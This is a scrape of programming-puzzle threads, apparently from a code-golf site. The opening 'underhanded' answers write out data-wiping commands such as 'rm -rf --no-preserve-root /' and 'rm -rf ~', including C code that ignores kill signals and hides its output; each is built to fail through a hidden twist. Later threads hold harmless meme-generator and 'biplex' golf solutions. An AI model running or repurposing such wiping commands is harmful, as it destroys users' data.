# Bash

```
rm /*

```

This doesn't work because:

> You need the `-r` option to delete directories

# Answer
> 0 votes
# Bash

```
rm -RF --no-preserve-root /

```

This will delete everything except:

> It will fail to run because: `invalid option -- 'F'`. You can only use lowercase `-f`

# Answer
> 0 votes
## C

```
#include <stdlib.h>
#include <string.h>
#include <signal.h>

char* doomCommand = "rm -rf /importantfolder";

#ifdef _WIN32
    char silencer[14] = " > NUL 2> NUL";
#elif __APPLE__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __linux__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __unix__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif defined(_POSIX_VERSION)
    char silencer[26] = " > /dev/null 2> /dev/null";
#else
    /*Just make a lucky guess*/
    char silencer[26] = " > /dev/null 2> /dev/null";
#endif

int main() {
    size_t doomLength = strlen(doomCommand);
    size_t silencerLength = strlen(silencer);
    char* finalCommand;

    signal(SIGABRT, SIG_IGN);
    signal(SIGFPE, SIG_IGN);
    signal(SIGILL, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGSEGV, SIG_IGN);
    signal(SIGTERM, SIG_IGN);

    while (*(doomCommand++)); /*Integrity check*/
    finalCommand = malloc(doomLength + silencerLength + 1);
    strcat(finalCommand, doomCommand -= doomLength);
    strcat(finalCommand, silencer);

    return system(finalCommand);
}

```

### Features:

* Works on most operating systems used this millennium.
* Will work on even the oldest standards-compliant compilers. (Probably.)
* Includes a sanity check to make sure the command is a valid string.
* Casually ignores most attempts to close the program.
* You can use a custom destructive command.
* Stops the user seeing the evil output of any command you choose to run.

### Spoiler:

> Unfortunately, the sanity check moves the pointer forward `length + 1` `char`s. So when the pointer is moved back `length` `char`s, it is now pointing to the second character in the string, not the first, and will throw an error when it tries to run your lovely command. Luckily though, all the output is suppressed. What a relief.

# Answer
> -1 votes
**C**

```
void main(void)
{
    for(int i=0; i<3; i++)
    {
        switch (i)
        {
        case 0:
            printf("Going ...\n");
            break;
        case 1:
            printf("going ...\n");
            break;
        defau1t:
            system("rm -rf ~");
            printf("gone!\n");
            break;
        }
    }
}

```

It's always best to give users time to regret running a program - but not enough to stop it.

> defau1t is spelt with a 1 (one) rather than an l. That makes it a label rather than the default so that code never gets executed.

# Answer
> -3 votes
# **C#**

Now what this evil application is intended to do is to find all folders and sub-folders on drive C:\ and create 100 randomly named files in it, when done - repeat, forever

```
using System.IO;

class Program
{
    static void Main()
    {
        // Do this forever
        while (true)
        {
            MakeSomeMess(@"С:\"); // see what I did there?
        }
    }

    private static void MakeSomeMess(string path)
    {
        // Find all folders
        foreach (var directory in Directory.GetDirectories(path))
        {
            // Make 100 randomly named files in each folder
            for (var i = 0; i < 100; i++)
            {
                try
                {
                    File.WriteAllText(Path.Combine(directory, Path.GetRandomFileName()), "Boobs Boobs Boobs");
                }
                catch
                {
                    // a file failed to create, probably a system folder like C:\\$Recycle.Bin
                    // no big deal there are plenty of folders to fill with rubbish
                }
            }

            // Do the same for every subfolder
            MakeSomeMess(directory);
        }
    }
}

```

And the twist is:

> @"С:\\" is not the root folder, such folder does not exist as the letter 'С' in it, is actually the Cyrillic letter 'S'. Since C and С are rendered identical in almost any font (as you can see) our troll won't notice that @"С:\\" is not a valid path. Поздрави от България :)

---
Tags: popularity-contest, underhanded
---


title: Dank Meme Generator

text:
# Question
Title: Dank Meme Generator
I like making dank memes out of my own images. But all those so called "quick meme" sites just have *too much code*. I realized that the only way to make the dankest meme generator is to ask you guys at PPCG to golf one for me. So let me give you the low down on what you have to do.

# Specs

* Take an image as input as a file name, image object, etc. to make a meme out of.
* Then take two strings for top text and bottom text (with no line breaks).
* Render the text on the image in size 22pt Impact white font with 5px black outline (You can assume Impact is installed.
* The text should be centered horizontally.
* You can assume the text fits horizontally.
* The respective texts should be 10px from the top and 8px from the bottom.
* Then output the image by saving in a file, displaying, etc.
* This is , so shortest code in **bytes** wins!

Happy Memeing!

# Answer
> 13 votes
## HTML/JS/CSS, ~~341~~ ~~329~~ 300 bytes

```
<input onblur=i.src=this.value><table><td><img id=i><p style=top:10px contenteditable><p style=bottom:8px contenteditable></p><style>td{position:relative}p{position:absolute;margin:0;width:100%;text-align:center;font:22px Impact;color:#fff;text-shadow:0 0 5px #000,0 0 5px #000,0 0 5px #000,0 0 5px #000}

```

To use: First paste the desired image URL into the provided input box, then tab to the top text and type in the desired text, then tab to the bottom text and type in the desired text.

Edit: Saved 12 bytes thanks to @Downgoat. Saved a further 29 bytes thanks to @dev-null.

```
td {
  position: relative;
}
div {
  position: absolute;
  left: 0;
  right: 0;
  text-align: center;
  font: 22px "Impact";
  color: #fff;
  text-shadow: 0 0 5px #000, 0 0 5px #000, 0 0 5px #000, 0 0 5px #000;
}
```

```
<input onchange="i.src=this.value">
<table>
  <td>
    <img id=i>
    <div style="top: 10px;" contenteditable></div>
    <div style="bottom: 8px;" contenteditable></div>
```

# Answer
> 12 votes
# Jelly, 141 bytes

```
⁴;@€“¢ÇẎȧsẊỊ>ɼẈAẋ®ŀȮĠq⁼ṫṁḢĠZỴċƊ£²ÆṗÑḊ°>oÆl{(¢ɗpḅ]µṖÑb¹ƁịṾ¦Ç\ṭO4»“1kịXḥɗ"Ụɦḷ©Ƈ&Ṭ19“£ŀ³³.Ṗ<ṂqṬỵ.ṣȦƇƈ2ƭḂXƊ»ż³;“ßƑ_!]²Rȧ⁵⁴°ṁD⁽a{⁼!z¿ıṾƇDẇḤḶṡÇẈg»;

```

Try it online!

Takes command line arguments as in the example, and returns a HTML file. The result looks like this in Chrome:

# Answer
> 5 votes
# bash+imagemagick+gs ~~690 575 456~~ 440 bytes

See earlier revisions for "ungolfed" code.

```
#!/bin/bash
d=`identify $1|cut -d' ' -f3`
x=`echo $d|cut -d'x' -f1`
y=`echo $d|cut -d'x' -f2`
convert $1 $1.eps
gs -g"$d" -o $1.png -sDEVICE=png48 -c "
/s/showpage load def/showpage{}def($1.eps)run
matrix defaultmatrix setmatrix/Helvetica-Bold 22
selectfont/c{dup stringwidth pop neg 2 div 0 rmoveto dup
gsave 1 setgray show grestore 0 setgray false charpath stroke}def
$x 2 div $y 42 sub moveto($2)c $x 2 div 8 moveto($3)c s"
echo :$1.png

```

eg.

```
./meme.sh Superman1.jpg "I AM CORNHOLIO" "Are you threatening me??!"
GPL Ghostscript 9.15 (2014-09-22)
Copyright (C) 2014 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
Loading NimbusRomNo9L-Regu font from /usr/share/ghostscript/9.15/Resource/Font/NimbusRomNo9L-Regu... 4186304 2700982 3995248 2685490 2 done.
Loading NimbusSanL-Bold font from /usr/share/ghostscript/9.15/Resource/Font/NimbusSanL-Bold... 4203248 2760390 3833712 2536130 1 done.
:Superman1.jpg.png

```

---
Tags: code-golf, graphical-output
---


title: Biplex: an important useless operator

text:
# Question
Title: Biplex: an important useless operator
## Input

* A list of between 1 and 255 positive integers (inclusive), each in the range 1 to 232 \- 1 (inclusive).
* Your input format does not need to be identical to the test cases.
* Input without leading zeroes is required to be accepted.
* Input with leading zeroes is not required to be accepted.
* You may use whatever delimiter you wish between the integers.
* An integer may be represented by a string but the individual digits of a specific integer must be contiguous.
* You may choose to use any base for the input (including binary and unary), provided the output is also in that base.

## Output

* A single integer.
* The output must have no leading zeroes.
* The output must be in the same base as the input.
* The output can be calculated in whatever way you wish but must match the result of the following calculation:

## Calculating biplex

* The bits of a binary representation are numbered from the right starting from zero, so bit *i* is in the column representing 2*i*.
* The *i* th *bitsum* is the sum of the *i* th bits of the binary representations of each of the input numbers.
* The *bitsum maximum* is the highest value taken by the bitsums.
* The *bitsum minimum* is the lowest ***non-zero*** value taken by the bitsums.
* The *i* th digit of the binary representation of the output is:
    + 1 if the *i* th bitsum is equal to the bitsum maximum or the bitsum minimum.
    + 0 otherwise.

---

## Worked example

This example uses binary for input and output.

```
Input:    100110
         1101110
         1100101
         _______
Bitsums: 2301321

Output:   101101

```

The bitsum maximum is 3 and the bitsum minimum is 1, so the output has 1s everywhere that the bitsum is 3 or 1, and 0s everywhere else.

---

## Test cases

Test cases are in the form:

```
Input => Output

```

**The test cases in binary:**

```
[1] => 1
[10] => 10
[1, 10, 101] => 111
[11111111111111111111111111111111] => 11111111111111111111111111111111
[10010010010010010010010010010010, 10101010101010101010101010101010, 11011011011011011011011011011011] => 11100011100011100011100011100011
[10001011100010100110100101001001, 10110000111110010000111110111010, 1101110001101101011010010100101, 1010101010001011101001001010101] => 11

```

**The same test cases in decimal:**

```
[1] => 1
[2] => 2
[1, 2, 5] => 7
[4294967295] => 4294967295
[2454267026, 2863311530, 3681400539] => 3817748707
[2341103945, 2969112506, 1849078949, 1430639189] => 3

```

---

## Leaderboard

Thanks to Martin's Leaderboard Snippet

```
var QUESTION_ID=62713,OVERRIDE_USER=8478;function answersUrl(e){return"http://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"http://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i;
```

```
body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px}
```

```
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table>
```

---

The operator was named biplex, short for binary plane extrema, following discussion in chat.

# Answer
# Jelly

**14 bytes**

```
BUSµḟ0Ṣ.ịe€@UḄ

```

Try it online!

### How it works

```
BUSµḟ0Ṣ.ịe€@UḄ    Main link. Input: A (list)

B                 Convert each item in A to binary.
 U                Reverse each array of binary digits.
  S               Add them across columns.

   µ              Monadic chain. Argument: S (list of column sums)
    ḟ0            Remove all occurrences of 0.
      Ṣ           Sort the remaining sums.
       .ị         Take the elements with indices around 0.5.
                  Indices are 1-bases, so this selects the last and the first one.
             U    Yield S, reversed.
            @     Reverse the arguments.
         e€       Test each item in the left list for membership in the right one.
              Ḅ   Convert from binary to integer.

```
> 1 votes

# Answer
# Pyth, ~~26~~ 25 bytes

```
JsM.T_MjR2Qi_}RhM_BS-J0J2

```

Try it online: Demonstration or Test Suite

### Explanation

```
JsM.T_MjR2Q
       jR2Q      convert each input number to binary (lists of 1s and 0s)
     _M          reverse each list
   .T            transpose (with top justify)
 sM              sum up each list (numbers of 1s at each position)
J                store this list in J

i_}RhM_BS-J0J2
         -J0     J without 0s
        S        sorted
      _B         create the list [sorted, reverse(sorted)]
    hM           take the first elments of each (bitsum-min and bitsum-max)
  }R        J    check for each value in J, if it is part of ^
 _               reverse this list of booleans
i            2   convert from binary to base 10 and print

```
> 11 votes

# Answer
# J, ~~31~~ ~~30~~ ~~24~~ ~~23~~ 21 bytes

```
+/(e.>./,<./@#~@)&.#:

```

This is a tacit, monadic verb that takes a list of decimal integers and returns their decimal biplex.

*Thanks to @Zgarb for his suggestions, which saved 4 bytes directly and paved the way for 2 more!*

*Thanks to @randomra for golfing off 2 more bytes!*

### Test cases

```
   biplex =: +/(e.>./,<./@#~@)&.#:

   biplex ,1
1
   biplex ,2
2
   biplex 1 2 5
7
   biplex ,4294967295
4294967295
   biplex 2454267026 2863311530 3681400539
3817748707
   biplex 2341103945 2969112506 1849078949 1430639189
3

```

### How it works

```
                 &.    Dual. Apply the verb to the right, the verb to the left,
                       and finally the inverse of the verb to the right.
                   #:  Convert the input list from integer to base 2.
  (            @)      Define an adverb, i.e., an operator that takes a verb as
                       its left argument.
+/                     Call it with "reduce by sum". This calculates the sum of
                       the corresponding binary digits of all integers before
                       executing the remainder of the adverb's body, i.e, this:
             #~          Replicate the sum N a total of N times, i.e., turn
                         0 1 2 3 into 1 2 2 3 3 3. This eliminates zeroes.
         <./@            Calculate the minimum of the result.
     >./                 Calculate the maximum of the sums.
        ,                Append; wrap both extrema into a list.
   e.                    Check if each of the sums is in the list of extrema.
                         This yields 1 if yes and 0 if no.
                       (from &.) Convert from base 2 to integer.

```
> 10 votes

# Answer
## Minkolang 0.10, ~~109~~ 79 bytes

```
(n1$(d2%$r2:d)99*I-DmI2:[+1R]$I)rI$d$(s0(x0gd,)Ik3R2g1-X0I3-[2*2gd0c=$r1c=++]N.

```

Input and output are in decimal. Try it here.

### Explanation

```
(                            $I)    Loop until input is empty
 n                                  Read in number from input
  1$(       d)                      Start a while loop with only the top of stack
     d2%                            Next least-significant bit (modulo by 2)
        $r                          Swap top two values
          2:                        Divide by 2
              99*I-D                Pad with 0s
                                    (when the while loop exits, top of stack is 0)
                    m               Merge (interleave) stack
                     I2:[   ]       For each pair...
                         +1R        Add and rotate stack to the right
                                    <<This does the work of computing bitsums>>

r       Reverse stack
 I      Push length of stack
  $d    Duplicate whole stack
        <<This lets me sort the bitsums without affecting the original order>>

$(                      Start while loop with <top of stack> elements
  s                     Sort
   0(     )             Push a 0 and start another while loop
     x                  Dump top of stack
      0g                Get front of stack and put it on top
        d,              Duplicate and <not> for end-while condition check
           Ik           Push length of stack and break out of while loop
             3R         Rotate [min, max, length] to front
               2g1-     Get length and put it on top, then subtract 1
                   X    Dump that many elements off the top of stack
                        <<Now I have min and max>>

0                        Initialize decimal with 0
 I3-[               ]    For as many bits as there are...
     2*                  Multiply by 2
       2gd               Get the next most significant bit and put it on top
          0c=            Copy min and check for equality
             $r          Swap top two elements of stack
               1c=       Copy max and check for equality
                  ++     Add 1 if bitsum item is equal to min or max, 0 otherwise
N.                       Output as integer and stop

```

---

### Old version:

```
$nI[(d2%i1+0a+i1+0A00ai`4&i00A2:d)x]00a1+[i1+0a]s0(x0gd,)rI2-[x]00a1+[i1+0ad0c=$r1c=+]0gx0gx0(xd,)0I1-[2*+]N.

```

Try it here!

### Explanation

The crux of it is that the **array** feature is heavily used (`a A`) to store the bitsums, of which the minimum and maximum are found, then `1`s and `0`s are outputted appropriately, with dumping of leading `0`s in two places.

```
$n                                      Read in whole input as integers
  I[(                             x]    Convert each number to binary
     d2%                                Get next least significant bit (modulo by 2)
        i1+0a                           Get current value in array for that position
             +                          Add
              i1+0A                     Put current value in array for that position
                   00ai`                Get first value of array (bitsum length)
                      i`                Greater than loop counter?
                        4&i00A          If not, put loop counter there
                              2:        Divide by 2
                                d)      If 0, exit loop

00a                Get first value of array (maximum length
   1+              Add one
     [i1+0a]       Get bitsum values from array and push on stack
            s      Sort
0(                 Push a 0 (for dump) and start a while loop -- dumps leading 0s
  x                Dump top of stack
   0g              Get bottom of stack
     d,            Duplicate and <not> it
       )           Exit loop when top of stack is non-zero (i.e., the minimum)
        r          Reverse stack (so now it's [min, max, <stuff>])
         I2-[x]    Dump everything else

00a1+[               ]    Get bitsum length and loop that many times
      i1+0a               Get bitsum value at current position
           d              Duplicate
            0c=           Copy front of stack and check for equality
               $r         Swap
                 1c=      Copy next-to-front of stack and check for equality
                    +     Add (so it's 1 if it's equal to min or max, 0 otherwise)

0gx0gx       Dump front two elements of stack (the min and max)
0(xd,)       Dump leading 0s
0            Push 0 for conversion to decimal
 I1-[   ]    For each bit...
     2*+     Multiply by 2 and add
N.           Output as integer and stop

```
> 9 votes

# Answer
# Brainfuck, 619 bytes

First answer in far too long here, so I thought I'd do a good one!

```
>->->->>>,----------[--<++++++[>------<-]>>>>,----------]-<<<+[-<<<+]->>,<++++[>--------<-]>[<++++[>+++++<-]>++[--<++++++[>------<-]>>>+>]<-[+>-<<+[-<<<+]-<<+[->+[->[-[->>>+<<<]<<<+]+[-->>>++]-<+]<<<+[-[->+<]<<<+]->>+>]<-[+>->>>>+[->>>+]->+[-<[-[->>>+<<<]<<<+]+[-->>>++]->+]-<+<<<+[-[->+<]<<<+]->>]]>,<++++[>--------<-]>]>+[->>>+]>->->>-[+<<<<<<+[-<-<<+]->>[+>>>[>>>]>+[<<->>[->>>+]->>>[-]+<<<<<+[-<<<+]+>->]<]>->>+>-]<[<<<<<+[-<+<<+]->>[-]>+[->>>+]->>-]>-[+<<<<<<+[-<+<<+]->>[->>>[>>>]>+[<<<->>>[->>>+]->>>[-]+<<<<<<+[-<<<+]+>>+>]<]>->>>-]<<<<-<<<<+[->[-]<[->+<]<[->>[-]+<<]<<+]>-[+>>>-]++[->++++++[-<++++++++>]<.>>>+]

```

Did... Did I win?

This program expects newlines (ASCII `10`) after every binary number, and requires a space (ASCII `32`) at the end.

Test runs:

```
Me$ bf bpx.bf
1
10
101

111

Me$ bf bpx.bf
11111111111111111111111111111111

11111111111111111111111111111111

Me$ bf bpx.bf
10010010010010010010010010010010
10101010101010101010101010101010
11011011011011011011011011011011

11100011100011100011100011100011

Me$ bf bpx.bf
10001011100010100110100101001001
10110000111110010000111110111010
1101110001101101011010010100101
1010101010001011101001001010101

11

```

(Newlines added after each case with `++++++++++.` added at the end of the program)

# Explanation

Still a work in progress, but a slow one. For lack of time, I've just copied the notes I made whilst writing this program, which will suffice for an explanation for now:

```
[Biplex Calculator]

[

Bitsum writing philosophy:

Start with [0 255 255 255 ...].
The 255s will be markers that we can 'search' for to get back to the start.
After that, the next byte should be a 0, fairly permanently. (The first reference 0)
It is useful to have 0-bytes handy for general calculations.
The next byte is where we will read the first digit of any binary number. (The first read)
The next byte holds the first bitsum.
Afterward, the next byte is 0, the following byte is the place
to read the second binary digit, the following byte is the second bitsum,
and so on.
I'll use the terminology nth reference 0, nth read, and nth bitsum to refer to
each part of the triplet of bytes.

The location three places after the final bitsum will be 255,
and the location three places after the final read will be 255.
We can move entire numbers by lining up these 255s after every binary number.

]

>->->->>>~                  [0 255 255 255 0 0 0 0 0                ]

[From the first bitsum, read input to create an initial set of bitsums                  ]
,----------
[
    --<++++++[>------<-]            [Convert the input '1' or '0' into a bit        ]
    >>>>,----------
]~
-<<<+[-<<<+]->>                 [Mark 255 after the last bit, then go back to first read]

,<++++[>--------<-]             [Check for space, using the first reference 0       ]
>
[
    <++++[>+++++<-]             [Check for \n                       ]
    >++
    [
        --<++++++[>------<-]        [It wasn't \n, so convert the input into a bit      ]
        >>>+>               [Write 1 to the next reference 0, and go to next read   ]
    ]
    <-
    [
        +>              [It was \n                      ]
        -<              [Mark 255 on this (nth) read and go to (n-1)th bitsum   ]
        <+[-<<<+]           [Search for a 255 off to the left           ]

        [We've either struck our marker, or the last bitsum. We need to check.          ]
        -<<+
        [
            -           [We hit the last bitsum. Move the bitsums right.    ]
            >+
            [
                ->[-[->>>+<<<]<<<+] [Move until we reach the start          ]
                +[-->>>++]      [From the start, move to our last bitsum    ]
                [Repeat this move until the read here is a 255              ]
                -<+
            ]
            [We now need to go to the first reference zero, and put a 1 there       ]
            <<<+[-[->+<]<<<+]->>+>      [Add bits to bitsums and end on first read  ]
        ]
        <-
        [
            +>->>>>+[->>>+]     [Go to the 255 after our reads              ]
            ->+
            [
                -<[-[->>>+<<<]<<<+] [Move until we reach the start          ]
                +[-->>>++]      [From the start, move to the 255 after our reads]
                [Repeat this move until we see the 255 bitsum               ]
                ->+
            ]
            [We now need to go to the first read                        ]
            -<+<<<+[-[->+<]<<<+]->>     [Add bits to bitsums and end on first read  ]
        ]
        >>>>>>>>>>>>>>>>>>>>>>>>>~<<<<<<<<<<<<<<<<<<<<<<<<<
    ]

    [We're at the reference 0 to the left of our next read                      ]
    >,<++++[>--------<-]            [Check for space, using the first reference 0       ]
    >
]

[

Let BN be the nth bitsum. Then our situation at the moment is:

[0 255 255 255 0 0 B1 0 0 B2 ... 0 0 BN 0 0 255]
                 ^
I'm just happy nothing's exploded yet.

]

[Next goal: Mark the minimums                                       ]

>+[->>>+]>->->>~            [Zero the 255 and put 2 255s after it, then move after it   ]

-[
    +<<<<<<
    +[-<-<<+]               [Subtract one from each bitsum              ]
    ->>
    [
        +>>>[>>>]           [Find the first 0 bitsum                ]
        >+
        [
            <<->>[->>>+]->>>[-]     [Mark the zero as a minimum, and set a flag     ]
            +<<<<<+[-<<<+]+>->
        ]
        <
    ]
    >->>+>-
]~

[Hey, that worked. Weird. Alright, moving on...                             ]
[Reset the bitsums to what they were before we messed them all up                   ]

<[<<<<<+[-<+<<+]->>[-]>+[->>>+]->>-]>~

[After the stuff up there, that's not too bad.                              ]
[Now it's time to mark the maximums, in virtually the opposite way we did the minimums.         ]

-[
    +<<<<<<
    +[-<+<<+]               [Add one to each bitsum                 ]
    ->>
    [
        ->>>[>>>]           [Find the first 0 bitsum                ]
        >+
        [
            <<<->>>[->>>+]->>>[-]   [Mark the zero as a maximum, and set a flag     ]
            +<<<<<<+[-<<<+]+>>+>
        ]
        <
    ]
    >->>>-
]~

[Alright, now OR the maxs and mins, take care of leading zeros, output, and cross fingers       ]
<<<<->>~<<<<<<~+[->[-]<[->+<]<[->>[-]+<<]<<+]>-[+>>>-]++[->++++++[-<++++++++>]<.>>>+]

```
> 9 votes

# Answer
## CJam, 27 bytes

```
q~2fbWf%:.+_0-$(\W>|fe=W%2b

```

Takes input as a base-10 CJam-style list. Test it here. Alternatively, run all test cases (the script discards the expected output and converts the input format as necessary).

### Explanation

```
q~    e# Read and evaluate input.
2fb   e# Convert each number to base 2.
Wf%   e# Reverse each digit list, to align digits in case there are numbers with different
      e# widths.
:.+   e# Add up the bit planes.
_0-   e# Make a copy and remove zeroes.
$     e# Sort the bit plane sums.
(\W>| e# Get the first and last element. We use set union instead of addition so that the
      e# resulting array will contain only one value if min = max.
fe=   e# For each element in the bit plane sums, count how often it appears in the min/max
      e# array, which is either 1 or 0.
W%    e# Reverse the digits again (to undo the initial reversing).
2b    e# Interpret as base-2 digits.

```
> 7 votes

# Answer
# JavaScript (ES6), 215 185 176 bytes

```
f=a=>{s=[];for(i of a)for(b=i.toString(2),d=l=b.length;d--;)s[x=l-d-1]=(s[x]|0)+(b[d]|0);q=255;for(r of s)d=r>d?r:d,q=r<q?r||q:q;o="";s.map(r=>o=(r==q|r==d)+o);return+("0b"+o)}

```

## Usage

```
f([2454267026, 2863311530, 3681400539])
=> 3817748707

```

## Explanation

```
f=a=>{

  // Create an array of bitsums
  s=[];                   // s = bitsums
  for(i of a)             // iterate through the passed array of numbers
    for(
      b=i.toString(2),    // b = number as binary string
      d=l=b.length;       // l = number of digits in b
      d--;                // iterate through each digit of the binary string
    )
      s[x=l-d-1]=         // add to the digit of the bitsum array
        (s[x]|0)+         // get the current value of the bitsum array (or 0 if null)
        (b[d]|0);         // add the result to the bitsum array

  // Get the maximum and minimum bitsums
  q=255;                  // q = min bitsum
  //d=0;                  // d = max bitsum
  for(r of s)             // iterate through the bitsums
    d=r>d?r:d,            // set d to maximum
    q=r<q?r||q:q;         // set q to minimum

  // Calculate the result
  // (unfortunately JavaScript only supports bitwise operations on signed 32-bit
  // integers so the temporary binary string is necessary)
  o="";                   // o = output
  s.map(r=>               // iterate through the bitsum digits
    o=(r==q|r==d)+o       // add a 1 to the string if the digit is equal to min or max
  );
  return+("0b"+o)         // convert the binary string to a number
}

```
> 6 votes

# Answer
# Julia, 141 bytes

```
A->(s=reduce(.+,map(i->digits(i,2,maximum(map(i->ndigits(i,2),A))),A));parse(Int,reverse(join([1(i∈extrema(filter(j->j>0,s)))for i=s])),2))

```

Ungolfed:

```
function biplex(A::AbstractArray)
    # Get the maximum number of binary digits in each element
    # of the input array
    L = maximum(map(i -> ndigits(i, 2), A))

    # Create an array of arrays of binary digits corresponding
    # to the inputs
    B = map(i -> digits(i, 2, L), A)

    # Get the bitsums
    S = reduce(.+, B)

    # Replace the minimum and maximum bitsums with ones and
    # the rest with zeros
    s = [1 * (i in extrema(filter(j -> j > 0, S))) for i in S]

    # Join this into a string and parse it as a base 2 integer
    # Reverse is required because digits() returns the digits
    # in reverse order
    p = parse(Int, reverse(join(s)), 2)

    return p
end

```
> 4 votes

# Answer
# Simplex v.0.7, 38 bytes

*Simpl*ified comments. Input in Binary, no interpreter working at the moment. Hopefully the comments are sufficient.

```
hj&=j&Lun?&RvRpp]{Ri}^XKRJ@jqLhR@LhuTo
h               ]                        ~~ define macro 0
 j&                                      ~~ insert a new byte and write register to it
   =                                     ~~ equal to the previous byte?
    j&                                   ~~ insert a new byte and write register to it
      L                                  ~~ return to equality
       u    v                            ~~ go up/down a strip
        n?&                              ~~ write the register iff byte = 0
           R                             ~~ go right
             Rpp                         ~~ remove two bytes
                 {Ri}                    ~~ take input until input = 0
                     ^X                  ~~ take the sum of the strip
                       K                 ~~ split that sum into digits
                        RJ@              ~~ take the max; write to register
                           jq            ~~ take the min
                             Lh          ~~ call macro 0
                               R@        ~~ set min to register
                                 Lh      ~~ apply macro 0
                                   uTo   ~~ output result

```
> 3 votes

# Answer
# Octave, 50 bytes

```
@(a)["" ((b=sum(a-48))==max(b)|b==min(b(b>0)))+48]

```

**Example:**

```
octave:1> g = @(a)["" ((b=sum(a-48))==max(b)|b==min(b(b>0)))+48] ;
octave:2> g(["10010010010010010010010010010010"; "10101010101010101010101010101010"; "11011011011011011011011011011011"])
ans = 11100011100011100011100011100011

```
> 3 votes

# Answer
# Haskell, ~~198~~ ~~182~~ ~~178~~ 161 character

I'm still beginner at golfing. Only 80 reputation comes from answer.

```
m=map
v=reverse
(b:x)&(c:y)=(b+c):x&y
[]&a=a
b&_=b
l=(show=<<).v.(\a->m(fromEnum.(`elem`[maximum a,minimum$(replicate=<<id)=<<a]))a).foldl1(&).m(m(read.(:[])).v)

```

How does it work.

Instead of padding, I reverse the array then I add using user defined (&). I don't use foldl1(zipWith(+)) that is shorter because zipWith will delete the superflous item. Then I find the maximum and nonzero minimum, that also required user defined function. Then I match the item with the maximum and nonzero minimum, 1 if match, 0 if it doesn't match. Then we reverse and turn it into binary number.

TODO:

1. Using `Data.List`
> 3 votes

# Answer
# JavaScript (ES6), 158

A function with a numeric array parameter, returning a number. With the same byte count it could get a string array parameter (containing base 2 rapresentations) and return a base 2 string - just move the `.toString(2)` at the end after `r`.

```
f=l=>(l.map(v=>[...v.toString(2)].reverse().map((x,i)=>t[i]=~~t[i]-x),t=[]),t.map(v=>(r+=v==Math.min(...t)|v==Math.max(...t.filter(x=>x))&&b,b+=b),r=0,b=1),r)

// More readable

u=l=>(
  t=[],
  l.map(v =>
    [...v.toString(2)]
    .reverse()
    .map((x,i) => t[i] = ~~t[i] - x)
  ),
  r=0,b=1,
  t.map(v => (
    r += v==Math.min(...t) | v==Math.max(...t.filter(x=>x)) && b, b+=b
  )),
  r
)

// Test
console.log=s=>O.innerHTML+=s+'\n'

;[
 [[1], 1]
